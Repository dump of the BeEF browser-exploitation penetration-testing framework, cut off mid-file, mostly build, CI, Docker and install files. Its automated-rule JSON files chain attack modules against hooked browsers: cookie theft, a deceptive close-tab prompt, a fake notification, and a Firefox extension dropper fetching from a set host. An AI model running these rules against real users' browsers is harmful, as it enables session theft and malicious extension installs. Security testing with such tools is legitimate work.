xp_firefox_45.config.yml │ │ └── xp_ie_7.config.yml │ ├── constants.rb │ ├── simple_rest_client.rb │ └── ui_support.rb ├── test/ │ ├── integration/ │ │ ├── tc_debug_modules.rb │ │ ├── tc_dns_rest.rb │ │ ├── tc_network_rest.rb │ │ ├── tc_proxy.rb │ │ ├── tc_social_engineering_rest.rb │ │ ├── tc_webrtc_rest.rb │ │ └── ts_integration.rb │ └── thirdparty/ │ └── msf/ │ └── unit/ │ ├── BeEF.rc │ ├── tc_metasploit.rb │ └── ts_metasploit.rb ├── tools/ │ ├── bump-version.sh │ ├── csrf_to_beef/ │ │ ├── csrf_to_beef │ │ ├── lib/ │ │ │ ├── module.rb │ │ │ └── output.rb │ │ └── sample.html │ ├── maintenance/ │ │ └── copyright_update.rb │ └── rest_api_examples/ │ ├── autorun │ ├── browser-details │ ├── clone_page │ ├── command-modules │ ├── dns │ ├── export-logs │ ├── lib/ │ │ ├── beef_rest_api.rb │ │ ├── print.rb │ │ └── string.rb │ ├── metasploit │ ├── network │ ├── remove-offline-browsers │ ├── webrtc │ └── xssrays └── update-beef ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dockerignore ================================================ # Don't copy over git files .git .github .gitignore doc docs test update-beef ================================================ FILE: .github/CONTRIBUTING.md ================================================ # Contributing ### Anyone is welcome to make BeEF better! Thank you for wanting to contribute to BeEF. It's effort like yours that helps make BeEF such a great tool. Following these guidelines shows that you respect the time of the developers developing this open source project and helps them help you. In response to this, they should return that respect in addressing your issue, assisting with changes, and helping you finalize your pull requests. ### We want any form of helpful contributions! BeEF is an open source project and we love to receive contributions from the community! There are many ways to contribute, from writing tutorials or blog posts, improving or translating the documentation, answering questions on the project, submitting bug reports and feature requests or writing or reviewing code which can be merged into BeEF itself. # Ground Rules ### Responsibilities > * When making an issue, ensure the issue template is filled out, failure to do so can and will result in a closed ticket and a delay in support. > * We now have a two-week of unresponsiveness period before closing a ticket, if this happens, just comment responding to the issue which will re-open the ticket. Ensure to make sure all information requested is provided. > * Ensure cross-platform compatibility for every change that's accepted. Mac and Linux are currently supported. > * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback. > * Ensure language is as respectful and appropriate as possible. > * Keep merges as straightforward as possible, only address one issue per commit where possible. > * Be welcoming to newcomers and try to assist where possible, everyone needs help. # Where to start ### Looking to make your first contribution Unsure where to begin contributing to BeEF? You can start by looking through these issues: * Good First Issue - issues which should only require a few changes, and are good to start with. * Question - issues which are a question and need a response. A good way to learn more about BeEF is to try to solve a problem. At this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first. If a maintainer asks you to "rebase" your PR, they're saying that code has changed, and that you need to update your branch so it's easier to merge. ### Ruby best practise Do read through: https://rubystyle.guide Try and follow through with the practices throughout, even going through it once will help keep the codebase consistent. Use Rubocop to help ensure that the changes adhere to current standards, we are currently catching up old codebase to match. Just run the following in the /beef directory. > rubocop # Getting started ### How to submit a contribution. 1. Create your own fork of the code 2. Checkout the master branch > git checkout master 3. Create a new branch for your feature > git checkout -b my-cool-new-feature 4. Add your new files > git add modules/my-cool-new-module 5. Modify or write a test case/s in Rspec for your changes 6. Commit your changes with a relevant message > git commit 7. Push your changes to GitHub > git push origin my-cool-new-feature 8. Run all tests again to make sure they all pass 9. Edit existing wiki page / add a new one explaining the new features, including: - sample usage (command snippets, steps and/or screenshots) - internal working (code snippets & explanation) 10. Now browse to the following URL and create your pull request from your fork to beef master - Fill out the Pull Request Template - https://github.com/beefproject/beef/pulls # How to report a bug If you find a security vulnerability, do NOT open an issue. Email security@beefproject.com instead. When the security team receives a security bug email, they will assign it to a primary handler. This person will coordinate the fix and release process, involving the following steps: * Confirm the problem and find the affected versions. * Audit code to find any potential similar problems. * Prepare fixes ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: Bug report about: Report a bug to help us improve BeEF --- ## First Steps 1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues 2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki 3. Check the FAQ: https://github.com/beefproject/beef/wiki/FAQ 4. BeEF Version: 5. Ruby Version: 6. Browser Details (e.g. Chrome v81.0): 7. Operating System (e.g. OSX Catalina): ## Configuration 1. Have you made any changes to your BeEF configuration? Yes/No 2. Have you enabled or disabled any BeEF extensions? Yes/No ## Steps to Reproduce 1. (eg. I ran install script, which ran fine) 2. (eg. when launching console with './beef' I get an error as follows: ) 3. (eg. beef does not launch) ## How to enable and capture detailed logging 1. Edit `config.yaml` in the root directory * If using Kali **beef-xss** the root dir will be `/usr/share/beef-xss` 2. Update `client_debug` to `true` 3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser) 4. Retrieve your server-side logs from `~/.beef/beef.log` * If you have a kali (beef-xss) problem, you can submit a bug here: https://www.kali.org/docs/community/submitting-issues-kali-bug-tracker/ **If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.** ================================================ FILE: .github/ISSUE_TEMPLATE/config.yml ================================================ blank_issues_enabled: false contact_links: - name: Questions / Support url: https://github.com/beefproject/beef/wiki about: Please check the wiki before opening an issue. ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ # Pull Request Thanks for submitting a PR! Please fill in this template where appropriate: ## Category *e.g. Bug, Module, Extension, Core Functionality, Documentation, Tests* ## Feature/Issue Description **Q:** Please give a brief summary of your feature/fix **A:** **Q:** Give a technical rundown of what you have changed (if applicable) **A:** ## Test Cases **Q:** Describe your test cases, what you have covered and if there are any use cases that still need addressing. **A:** ## Wiki Page *If you are adding a new feature that is not easily understood without context, please draft a section to be added to the Wiki below.* ================================================ FILE: .github/SECURITY.md ================================================ send security bug reports to security@beefproject.com **A security report should include:** 1. Description of the problem (what it is, what's the impact) 2. Technical steps to replicate it (commands / screenshots) 3. Actionable fix/recommendations to mitigate the issue ================================================ FILE: .github/dependabot.yml ================================================ version: 2 updates: - package-ecosystem: npm directory: "/" schedule: interval: daily open-pull-requests-limit: 10 ignore: - dependency-name: jsdoc-to-markdown versions: - 7.0.0 - package-ecosystem: bundler directory: "/" schedule: interval: daily open-pull-requests-limit: 10 ignore: - dependency-name: rubocop versions: - 1.10.0 - 1.11.0 - 1.12.0 - 1.12.1 - 1.9.0 - 1.9.1 ================================================ FILE: .github/workflows/codeql.yml ================================================ # For most projects, this workflow file will not need changing; you simply need # to commit it to your repository. # # You may wish to alter this file to override the set of languages analyzed, # or to provide custom queries or build logic. # # ******** NOTE ******** # We have attempted to detect the languages in your repository. Please check # the `language` matrix defined below to confirm you have the correct set of # supported CodeQL languages. # name: "CodeQL" on: push: branches: [ master ] pull_request: # The branches below must be a subset of the branches above branches: [ master ] schedule: - cron: '36 1 * * 0' jobs: analyze: name: Analyze runs-on: ubuntu-latest permissions: actions: read contents: read security-events: write strategy: fail-fast: false matrix: language: [ 'javascript', 'ruby' ] # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support steps: - name: Checkout repository uses: actions/checkout@v3 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL uses: github/codeql-action/init@v2 with: languages: ${{ matrix.language }} # If you wish to specify custom queries, you can do so here or in a config file. # By default, queries listed here will override any specified in a config file. # Prefix the list here with "+" to use these queries and those in the config file. # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs queries: security-extended,security-and-quality # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). # If this step fails, then you should remove it and run the build manually (see below) # - name: Autobuild # uses: github/codeql-action/autobuild@v2 # ℹ️ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun # If the Autobuild fails above, remove it and uncomment the following three lines. # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. # - run: | # echo "Run, Build Application using script" # ./location_of_script_within_repo/buildscript.sh - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@v2 ================================================ FILE: .github/workflows/dependabot-auto-merge.yml ================================================ name: Dependabot auto-merge on: pull_request: branches: - master permissions: contents: write pull-requests: write jobs: dependabot: runs-on: ubuntu-latest if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'beefproject/beef' steps: - name: Dependabot metadata id: metadata uses: dependabot/fetch-metadata@v2 with: github-token: "${{ secrets.GITHUB_TOKEN }}" - name: Enable auto-merge for Dependabot PRs if: success() && (steps.metadata.outputs.update-type == 'version-update:semver-minor' || steps.metadata.outputs.update-type == 'version-update:semver-patch') run: gh pr merge --auto --merge "$PR_URL" env: PR_URL: ${{ github.event.pull_request.html_url }} GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} ================================================ FILE: .github/workflows/dependabot_auto_label.yml ================================================ name: 'Auto-label Dependabot PRs' on: pull_request_target: branches: [ master ] types: [ opened, synchronize ] jobs: auto-label: name: 'Apply safe_to_test for Dependabot' if: github.event.pull_request.user.login == 'dependabot[bot]' runs-on: ubuntu-latest steps: - name: 'Add safe_to_test label' uses: actions/github-script@v8 with: script: | const { owner, repo } = context.repo; const issue_number = context.payload.pull_request.number; // Remove first so re-adding always fires a labeled event, // which triggers the BrowserStack workflow. try { await github.rest.issues.removeLabel({ owner, repo, issue_number, name: 'safe_to_test' }); } catch (e) { if (e.status !== 404) throw e; } await github.rest.issues.addLabels({ owner, repo, issue_number, labels: ['safe_to_test'] }); ================================================ FILE: .github/workflows/github_actions.yml ================================================ name: 'BrowserStack Test' on: pull_request_target: branches: [ master ] types: [ labeled ] jobs: ubuntu-job: name: 'BrowserStack Test on Ubuntu' runs-on: ubuntu-latest concurrency: group: browserstack-${{ github.event.pull_request.number }} cancel-in-progress: true if: github.event.label.name == 'safe_to_test' env: GITACTIONS: true steps: - name: 'Remove safe_to_test label' uses: actions/github-script@v8 with: script: | try { await github.rest.issues.removeLabel({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.payload.pull_request.number, name: 'safe_to_test' }); } catch (e) { if (e.status === 404) { console.log('Label already removed, skipping'); } else { throw e; } } - name: 'BrowserStack Env Setup' # Invokes the setup-env action uses: browserstack/github-actions/setup-env@master with: username: ${{ secrets.BROWSERSTACK_USERNAME }} access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} - name: 'BrowserStack Local Tunnel Setup' # Invokes the setup-local action uses: browserstack/github-actions/setup-local@master with: local-testing: start local-identifier: random - name: 'Checkout the repository' uses: actions/checkout@v6 with: ref: ${{ github.event.pull_request.head.sha }} fetch-depth: 2 - name: 'Setting up Ruby' uses: ruby/setup-ruby@v1 # Ruby version is defined in .ruby-version file - name: 'Update and Install Dependencies' run: | sudo apt update sudo apt install libcurl4 libcurl4-openssl-dev - name: 'Configure Bundle testing and install gems' run: | bundle config unset --local without bundle config set --local with 'test' 'development' bundle install - name: 'Run BrowserStack simple verification' run: | bundle exec rake browserstack --trace - name: 'BrowserStackLocal Stop' # Terminating the BrowserStackLocal tunnel connection uses: browserstack/github-actions/setup-local@master with: local-testing: stop ================================================ FILE: .github/workflows/stale.yml ================================================ # This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time. # # You can adjust the behavior by modifying this file. # For more information, see: # https://github.com/actions/stale name: Mark stale issues and pull requests on: schedule: - cron: '5 * * * *' jobs: stale: runs-on: ubuntu-latest permissions: issues: write pull-requests: write steps: - uses: actions/stale@28ca1036281a5e5922ead5184a1bbf96e5fc984e # v10.0.0 with: repo-token: ${{ secrets.GITHUB_TOKEN }} days-before-stale: 120 days-before-pr-stale: 29 days-before-close: 7 days-before-pr-close: 31 stale-issue-message: 'This issue has been marked as stale due to inactivity and will be closed in 7 days' stale-pr-message: 'Stale pull request message' stale-issue-label: 'Stale' stale-pr-label: 'no-pr-activity' exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog' exempt-all-milestones: true exempt-draft-pr: true start-date: '2022-06-15T00:00:00Z' ================================================ FILE: .rspec ================================================ --format documentation --color --require spec_helper -I . ================================================ FILE: .rubocop.yml ================================================ AllCops: Exclude: - 'test/**/*' - 'tmp/**/*' - 'tools/**/*' - 'doc/**/*' TargetRubyVersion: <%= File.read(".ruby-version").strip[/^(\d+\.\d+)/, 1] || raise("Ruby version not found") %> NewCops: enable Layout/LineLength: Enabled: true Max: 180 Metrics/AbcSize: Enabled: false Metrics/BlockLength: Enabled: false Metrics/ClassLength: Enabled: false Metrics/MethodLength: Enabled: false Metrics/ModuleLength: Enabled: false Metrics/PerceivedComplexity: Enabled: false Metrics/CyclomaticComplexity: Enabled: false Naming/ClassAndModuleCamelCase: Enabled: false Style/FrozenStringLiteralComment: Enabled: false Style/Documentation: Enabled: false ================================================ FILE: .ruby-gemset ================================================ beef ================================================ FILE: .ruby-version ================================================ 3.4.7 ================================================ FILE: Dockerfile ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # ########################################################################################################### ########################################################################################################### ## ## ## Please read the Wiki Installation section on set-up using Docker prior to building this container. ## ## BeEF does NOT allow authentication with default credentials. So please, at the very least ## ## change the username:password in the config.yaml file to something secure that is not beef:beef ## ## before building or you will be denied access and have to rebuild anyway. ## ## ## ########################################################################################################### ########################################################################################################### # ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------ FROM ruby:3.4.7-slim-bookworm AS builder COPY . /beef # Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files. # Then add bundler/gem dependencies and install. # Finally change permissions of bundle installs so we don't need to run as root. RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc \ && apt-get update \ && apt-get install -y --no-install-recommends \ git \ curl \ libssl-dev \ xz-utils \ pkg-config \ make \ g++ \ libcurl4-openssl-dev \ ruby-dev \ libyaml-dev \ libffi-dev \ zlib1g-dev \ libsqlite3-dev \ sqlite3 \ && bundle install --gemfile=/beef/Gemfile --jobs=`nproc` \ && rm -rf /usr/local/bundle/cache \ && chmod -R a+r /usr/local/bundle \ && rm -rf /var/lib/apt/lists/* # ------------------------------------- End of Builder 0 ------------------------------------------------- # ---------------------------- Start of Builder 1 - Final Build ------------------------------------------ FROM ruby:3.4.7-slim-bookworm LABEL maintainer="Beef Project" \ source_url="github.com/beefproject/beef" \ homepage="https://beefproject.com/" # BeEF UI/Hook port ARG UI_PORT=3000 ARG PROXY_PORT=6789 ARG WEBSOCKET_PORT=61985 ARG WEBSOCKET_SECURE_PORT=61986 # Create service account to run BeEF and install BeEF's runtime dependencies RUN adduser --home /beef --gecos beef --disabled-password beef \ && apt-get update \ && apt-get install -y --no-install-recommends \ curl \ wget \ espeak \ lame \ openssl \ libreadline-dev \ libyaml-dev \ libxml2-dev \ libxslt-dev \ libncurses5-dev \ libsqlite3-dev \ sqlite3 \ zlib1g \ bison \ nodejs \ firefox-esr \ && apt-get -y clean \ && rm -rf /var/lib/apt/lists/* # Install geckodriver for Selenium tests # Pin version and verify checksum to mitigate supply chain attacks ENV GECKODRIVER_VERSION=v0.36.0 ENV GECKODRIVER_SHA256=0bde38707eb0a686a20c6bd50f4adcc7d60d4f73c60eb83ee9e0db8f65823e04 RUN wget -q "https://github.com/mozilla/geckodriver/releases/download/${GECKODRIVER_VERSION}/geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" \ && echo "${GECKODRIVER_SHA256} geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" | sha256sum -c - \ && tar -xzf "geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" -C /usr/local/bin \ && chmod +x /usr/local/bin/geckodriver \ && rm "geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" # Use gemset created by the builder above COPY --chown=beef:beef . /beef COPY --from=builder /usr/local/bundle /usr/local/bundle # Ensure we are using our service account by default USER beef # Expose UI, Proxy, WebSocket server, and WebSocketSecure server ports EXPOSE $UI_PORT $PROXY_PORT $WEBSOCKET_PORT $WEBSOCKET_SECURE_PORT HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "curl", "-fS", "localhost:$UI_PORT" ] WORKDIR /beef ENTRYPOINT ["/beef/beef"] # ------------------------------------- End of Builder 1 ------------------------------------------------- ================================================ FILE: Gemfile ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # gem 'net-smtp', require: false gem 'json' gem 'eventmachine', '~> 1.2', '>= 1.2.7' gem 'thin', '~> 2.0' gem 'sinatra', '~> 4.1' gem 'rack', '~> 3.2' gem 'rack-protection', '~> 4.2.1' gem 'em-websocket', '~> 0.5.3' # WebSocket support gem 'uglifier', '~> 4.2' gem 'mime-types', '~> 3.7' gem 'execjs', '~> 2.10' gem 'ansi', '~> 1.5' gem 'term-ansicolor', :require => 'term/ansicolor' gem 'rubyzip', '~> 3.2' gem 'espeak-ruby', '~> 1.1.0' # Text-to-Voice gem 'rake', '~> 13.3' gem 'activerecord', '~> 8.1' gem 'otr-activerecord', '~> 2.6.0' gem 'sqlite3', '~> 2.9' gem 'rubocop', '~> 1.85.1', require: false # Geolocation support group :geoip do gem 'maxmind-db', '~> 1.4' end gem 'parseconfig', '~> 1.1', '>= 1.1.2' gem 'erubis', '~> 2.7' # Metasploit Integration extension group :ext_msf do gem 'msfrpc-client', '~> 1.1', '>= 1.1.2' gem 'xmlrpc', '~> 0.3.3' end # Notifications extension group :ext_notifications do # Pushover gem 'rushover', '~> 0.3.0' # Slack gem 'slack-notifier', '~> 2.4' end # DNS extension group :ext_dns do gem 'async-dns', '~> 1.4' gem 'async', '~> 1.32' end # QRcode extension group :ext_qrcode do gem 'qr4r', '~> 0.6.1' end # For running unit tests group :test do gem 'simplecov', '~> 0.22' gem 'test-unit-full', '~> 0.0.5' gem 'rspec', '~> 3.13' gem 'rdoc', '~> 7.2' gem 'browserstack-local', '~> 1.4' gem 'irb', '~> 1.17' gem 'pry-byebug', '~> 3.12' gem 'rest-client', '~> 2.1.0' gem 'websocket-client-simple', '~> 0.6.1' # Note: curb gem requires curl libraries # sudo apt-get install libcurl4-openssl-dev gem 'curb', '~> 1.2' # Note: selenium-webdriver 3.x is incompatible with Firefox version 48 and prior # gem 'selenium' # Requires old version of selenium which is no longer available gem 'geckodriver-helper', '~> 0.24.0' gem 'selenium-webdriver', '~> 4.41' # Note: nokogiri is needed by capybara which may require one of the below commands # sudo apt-get install libxslt-dev libxml2-dev # sudo port install libxml2 libxslt gem 'capybara', '~> 3.40' end source 'https://rubygems.org' ================================================ FILE: INSTALL.txt ================================================ =============================================================================== Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - https://beefproject.com See the file 'doc/COPYING' for copying permission =============================================================================== Source ------ Obtain application source code either by downloading the latest archive: $ wget https://github.com/beefproject/beef/archive/master.zip Or cloning the Git repository from Github: $ git clone https://github.com/beefproject/beef Prerequisites -------------- BeEF requires Ruby 3.0+. If your operating system package manager does not support Ruby version 3.0, you can add the brightbox ppa repository for the latest version of Ruby: $ sudo apt-add-repository -y ppa:brightbox/ruby-ng Alternatively, consider using a Ruby environment manager such as rbenv or rvm to manager your Ruby versions. Refer to the following for more information: * rbenv: https://github.com/rbenv/rbenv * rvm: https://rvm.io/rvm/install Installation ------------ Once Ruby is installed, run the install script in the BeEF directory: ./install This script installs the required operating system packages and all the prerequisite Ruby gems. Upon successful installation, be sure to read the Configuration page on the wiki for important details on configuring and securing BeEF. https://github.com/beefproject/beef/wiki/Configuration Start BeEF ---------- To start BeEF, simply run: $ ./beef Updating -------- Due to the fast-paced nature of web browser development and webappsec landscape, it's best to regularly update BeEF to the latest version. If you're using BeEF from the GitHub repository, updating is as simple as: $ ./update-beef Or pull the latest repo yourself and then update the gems with: $ git pull $ bundle ================================================ FILE: README.md ================================================ =============================================================================== Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - https://beefproject.com See the file 'doc/COPYING' for copying permission =============================================================================== What is BeEF? ------------- __BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser. Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context. Get Involved ------------ You can get in touch with the BeEF team. Just check out the following: __Please, send us pull requests!__ __Web:__ https://beefproject.com/ __Bugs:__ https://github.com/beefproject/beef/issues __Security Bugs:__ security@beefproject.com __Twitter:__ [@beefproject](https://twitter.com/beefproject) __Discord:__ https://discord.gg/25wT2P8pwx Requirements ------------ * Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported. * [Ruby](https://www.ruby-lang.org): 3.0 or newer * [SQLite](http://sqlite.org): 3.x * [Node.js](https://nodejs.org): 10 or newer * The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile * Selenium is required on OSX: `brew install selenium-server-standalone` (See https://github.com/shvets/selenium) Quick Start ----------- __The following is for the impatient.__ The `install` script installs the required operating system packages and all the prerequisite Ruby gems: ``` $ ./install ``` For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt) or the [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki. Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF. Documentation --- * [User Guide](https://github.com/beefproject/beef/wiki#user-guide) * [Frequently Asked Questions](https://github.com/beefproject/beef/wiki/FAQ) * [JSdocs](https://beefproject.github.io/beef/index.html) Usage ----- To get started, simply execute beef and follow the instructions: ``` $ ./beef ``` ================================================ FILE: Rakefile ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rspec/core/rake_task' task :default => ["short"] RSpec::Core::RakeTask.new(:short) do |task| task.rspec_opts = ['--tag ~run_on_browserstack', '--tag ~run_on_long_tests'] end RSpec::Core::RakeTask.new(:long) do |task| task.rspec_opts = ['--tag ~run_on_browserstack'] end RSpec::Core::RakeTask.new(:long_only) do |task| task.rspec_opts = ['--tag ~run_on_browserstack', '--tag run_on_long_tests'] end ################################ # Browserstack RSpec::Core::RakeTask.new(:browserstack) do |task| task.rspec_opts = ['--tag run_on_browserstack'] end RSpec::Core::RakeTask.new(:bs) do |task| configs = Dir["spec/support/browserstack/**/*.yml"] configs.each do |config| config = config.split('spec/support/browserstack')[1] ENV['CONFIG_FILE'] = config puts "\e[45m#{config.upcase}\e[0m" task.rspec_opts = ['--tag run_on_browserstack'] Rake::Task['browserstack'].invoke Rake::Task['browserstack'].reenable end end ################################ # SSL/TLS certificate namespace :ssl do desc 'Create a new SSL certificate' task :create do if File.file?('beef_key.pem') puts 'Certificate already exists. Replace? [Y/n]' confirm = STDIN.getch.chomp unless confirm.eql?('') || confirm.downcase.eql?('y') puts "Aborted" exit 1 end end Rake::Task['ssl:replace'].invoke end desc 'Re-generate SSL certificate' task :replace do if File.file?('/usr/local/bin/openssl') path = '/usr/local/bin/openssl' elsif File.file?('/usr/bin/openssl') path = '/usr/bin/openssl' else puts "[-] Error: could not find openssl" exit 1 end IO.popen([path, 'req', '-new', '-newkey', 'rsa:4096', '-sha256', '-x509', '-days', '3650', '-nodes', '-out', 'beef_cert.pem', '-keyout', 'beef_key.pem', '-subj', '/CN=localhost'], 'r+').read.to_s end end ################################ # Generate API documentation desc 'Generate API documentation to doc/rdocs/index.html' task :rdoc do Rake::Task['rdoc:rerdoc'].invoke end ################################ # rdoc namespace :rdoc do require 'rdoc/task' desc 'Generate API documentation to doc/rdocs/index.html' Rake::RDocTask.new do |rd| rd.rdoc_dir = 'doc/rdocs' rd.main = 'README.mkd' rd.rdoc_files.include('core/**/*\.rb') #'extensions/**/*\.rb' #'modules/**/*\.rb' rd.options << '--line-numbers' rd.options << '--all' end end ################################ # X11 set up @xserver_process_id = nil; task :xserver_start do printf "Starting X11 Server (wait 10 seconds)..." @xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+") delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] delays.each do |i| # delay for 10 seconds printf '.' sleep (i) # increase the . display rate end puts '.' end task :xserver_stop do puts "\nShutting down X11 Server...\n" sh "ps -ef|grep Xvfb|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill" end ################################ # BeEF environment set up @beef_process_id = nil; @beef_config_file = 'tmp/rk_beef_conf.yaml'; task :beef_start => 'beef' do # read environment param for creds or use bad_fred test_user = ENV['TEST_BEEF_USER'] || 'bad_fred' test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access' # write a rake config file for beef config = YAML.safe_load(File.read('./config.yaml')) config['beef']['credentials']['user'] = test_user config['beef']['credentials']['passwd'] = test_pass Dir.mkdir('tmp') unless Dir.exist?('tmp') File.open(@beef_config_file, 'w') { |f| YAML.dump(config, f) } # set the environment creds -- in case we're using bad_fred ENV['TEST_BEEF_USER'] = test_user ENV['TEST_BEEF_PASS'] = test_pass config = nil puts "Using config file: #{@beef_config_file}\n" printf "Starting BeEF (wait a few seconds)..." @beef_process_id = IO.popen("ruby ./beef -c #{@beef_config_file} -x 2> /dev/null", "w+") delays = [5, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1] delays.each do |i| # delay for a few seconds printf '.' sleep (i) end puts ".\n\n" end task :beef_stop do # cleanup tmp/config files puts "\nCleanup config file:\n" rm_f @beef_config_file ENV['TEST_BEEF_USER'] = nil ENV['TEST_BEEF_PASS'] = nil # shutting down puts "Shutting down BeEF...\n" sh "ps -ef|grep beef|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill" end ################################ # MSF environment set up @msf_process_id = nil; task :msf_start => '/tmp/msf-test/msfconsole' do printf "Starting MSF (wait 45 seconds)..." @msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+") delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] delays.each do |i| # delay for 45 seconds printf '.' sleep (i) # increase the . display rate end puts '.' end task :msf_stop do puts "\nShutting down MSF...\n" @msf_process_id.puts "quit" end task :msf_install => '/tmp/msf-test/msfconsole' do # Handled by the 'test/msf-test/msfconsole' task. end task :msf_update => '/tmp/msf-test/msfconsole' do sh "cd /tmp/msf-test;git pull" end file '/tmp/msf-test/msfconsole' do puts "Installing MSF" sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test" end ################################ # ActiveRecord namespace :db do task :environment do require_relative "beef" end end ================================================ FILE: VERSION ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # 0.6.0.0 ================================================ FILE: _config.yml ================================================ theme: jekyll-theme-minimal ================================================ FILE: arerules/alert.json ================================================ {"name": "Display an alert", "author": "mgeeky", "modules": [ {"name": "alert_dialog", "condition": null, "options": { "text":"You've been BeEFed ;>" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/c_osx_test-return-mods.json ================================================ { "name": "Test return debug stuff", "author": "antisnatchor", "browser": "S", "browser_version": ">= 7", "os": "OSX", "os_version": "<= 10.10", "modules": [{ "name": "test_return_ascii_chars", "condition": null, "options": {} }, { "name": "test_return_long_string", "condition": "status==1", "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';", "options": { "repeat": "10", "repeat_string": "<>" } }, { "name": "alert_dialog", "condition": "status=1", "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';", "options":{"text":"<>"} }, { "name": "get_page_html", "condition": null, "options": {} }], "execution_order": [0, 1, 2, 3], "execution_delay": [0, 0, 0, 0], "chain_mode": "nested-forward" } ================================================ FILE: arerules/confirm_close_tab.json ================================================ {"name": "Confirm Close Tab", "author": "mgeeky", "modules": [ {"name": "confirm_close_tab", "condition": null, "code": null, "options": { "text":"Are you sure you want to navigate away from this page?", "usePopUnder":"true" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/enabled/README ================================================ Move here the ARE rule files that you want to pre-load when BeEF starts. Make sure they are .json files (any other file extension is ignored). ================================================ FILE: arerules/ff_osx_extension-dropper.json ================================================ { "name": "Firefox Extension Dropper", "author": "antisnatchor", "browser": "FF", "os": "OSX", "os_version": ">= 10.8", "modules": [{ "name": "firefox_extension_dropper", "condition": null, "options": { "extension_name": "Ummeneske", "xpi_name": "Ummeneske", "base_host": "http://172.16.45.1:3000" } }], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/get_cookie.json ================================================ { "name": "Get Cookie", "author": "@benichmt1", "modules": [ {"name": "get_cookie", "condition": null, "options": { } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/ie_win_fakenotification-clippy.json ================================================ { "name": "Ie Fake Notification + Clippy", "author": "antisnatchor", "browser": "IE", "browser_version": "== 11", "os": 